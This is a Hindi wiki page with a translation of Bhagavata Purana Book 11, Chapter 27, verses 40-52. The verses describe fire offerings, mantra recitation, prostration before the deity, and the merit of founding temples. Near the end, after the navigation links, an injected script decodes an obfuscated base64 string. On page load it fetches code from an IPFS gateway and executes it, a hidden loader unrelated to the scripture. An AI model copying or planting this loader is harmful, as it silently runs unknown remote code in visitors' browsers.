श्रीमद्भागवत महापुराण एकादश स्कन्ध अध्याय 27 श्लोक 40-52

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

एकादश स्कन्ध: सप्तविंशोऽध्यायः (27)

श्रीमद्भागवत महापुराण: एकादश स्कन्ध: सप्तविंशोऽध्यायः श्लोक 40-52 का हिन्दी अनुवाद


अग्नि में मेरी इस मूर्ति का ध्यान करके पूजा करनी चाहिये। इसके बाद सूखी समिधाओं को घृत में डुबोकर आहुति दे और आज्यभाग और आघार नामक दो-दो आहुतियों से और भी हवन करे। तदनन्तर घीसे भिगोकर अन्य हवन-सामग्रियों से आहुति दे । इसके बाद अपने इष्टमन्त्र से अथवा ’ॐ नमो नारायणाय’ इस अष्टाक्षर मन्त्र से तथा पुरुष सूक्त के सोलह मन्त्रों से हवन करे। बुद्धिमान पुरुष को चाहिये कि धर्मादि देवताओं के लिये भी विधिपूर्वक मन्त्रों से हवन करे और स्विष्टकृत् आहुति भी दे । इस प्रकार अग्नि में अन्तर्यामी रूप से स्थित भगवान की पूजा करके उन्हें नमस्कार करे और नन्द-सुनन्द आदि पार्षदों को आठों दिशाओं में हवन कर्मांग बलि दे। तदनन्तर प्रतिमा के सम्मुख बैठकर परब्रम्ह स्वरूप भगवान नारायण का स्मरण करे और भगवत्स्वरूप मूलमन्त्र ‘ॐ नमो नारायणाय’ का जप करे । इसके बाद भगवान को आचमन कराये और उनका प्रसाद विष्वक्सेन को निवेदन करे। इसके पश्चात् अपने इष्टदेव की सेवा में सुगन्धित ताम्बूल आदि मुख वास उपस्थित करे तथा पुष्पान्जलि समर्पित करे । मेरी लीलाओं को गावे, उनका वर्णन करे और मेरी ही लीलाओं का अभिनय करे। यह सब करते समय प्रेमोन्मत्त होकर नाचने लगे। मेरी लीला-कथाएँ स्वयं सुने और दूसरों को सुनावे। कुछ समय तक संसार और उसके रगड़ों-झगड़ों को भूलकर मुझमें ही तन्मय हो जाय । प्राचीन ऋषियों के द्वारा अथवा प्राकृत भक्तों के द्वारा बनाये हुए छोटे-बड़े स्तव और स्त्रोतों से मेरी स्तुति करके प्रार्थना करे—‘भगवन्! आप मुझ पर प्रसन्न हों। मुझे अपने कृपा प्रसाद से सराबोर कर दें।’ तदनन्तर दण्डवत् प्रणाम करे । अपना सिर मेरे चरणों पर रख दे और अपने दोनों हाथों से—दायें से दाहिना और बायें से बायाँ चरण पकड़कर कहे—‘भगवन्! इस संसार-सागर मैं डूब रहा हूँ। मृत्यु रूप मगर मेरा पीछा कर रहा है। मैं डरकर आपकी शरण में आया हूँ। प्रभो! आप मेरी रक्षा कीजिये’। इस प्रकार स्तुति करके मुझे समर्पित की हुई माला आदर के साथ अपने सिर पर रखे और उसे मेरा दिया हुआ प्रसाद समझे। यदि विसर्जन करना हो तो ऐसी भावना करनी चाहिये कि प्रतिमा में से एक दिव्य ज्योति निकली है और वह मेरी हृदयस्थ ज्योति में लीन हो गयी है। बस, यही विसर्जन है । उद्धवजी! प्रतिमा आदि में जब जहाँ श्रद्धा हो तब, तहाँ मेरी पूजा करनी चाहिये, क्योंकि मैं सर्वात्मा हूँ और समस्त प्राणियों में तथा अपने हृदय में भी स्थित हूँ । उद्धवजी! जो मनुष्य इस प्रकार वैदिक, तान्त्रिक क्रिया योग के द्वारा मेरी पूजा करता है वह इस लोक और परलोक में मुझसे अभीष्ट सिद्धि प्राप्त करता है । यदि शक्ति हो तो उपासक सुन्दर और सुदृढ़ मन्दिर बनवाये और उसमें मेरी प्रतिमा स्थापित करे। सुन्दर-सुन्दर फूलों के बगीचे लगवा दे; नित्य की पूजा, पर्व की यात्रा और बड़े-बड़े उत्सवों की व्यवस्था कर दे । जो मनुष्य पर्वों के उत्सव और प्रतिदिन की पूजा लगातार चलने के लिये खेत, बाज़ार, नगर अथवा गाँव मेरे नाम पर समर्पित कर देते हैं, उन्हें मेरे समान ऐश्वर्य की प्राप्ति होती है । मेरी मूर्ति की प्रतिष्ठा करने से पृथ्वी का एकच्छत्र राज्य, मन्दिर-निर्माण से त्रिलोकी का राज्य, पूजा आदि की व्यवस्था करने से ब्रम्ह्लोक और तीनों के द्वारा मेरी समानता प्राप्त होती है ।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

-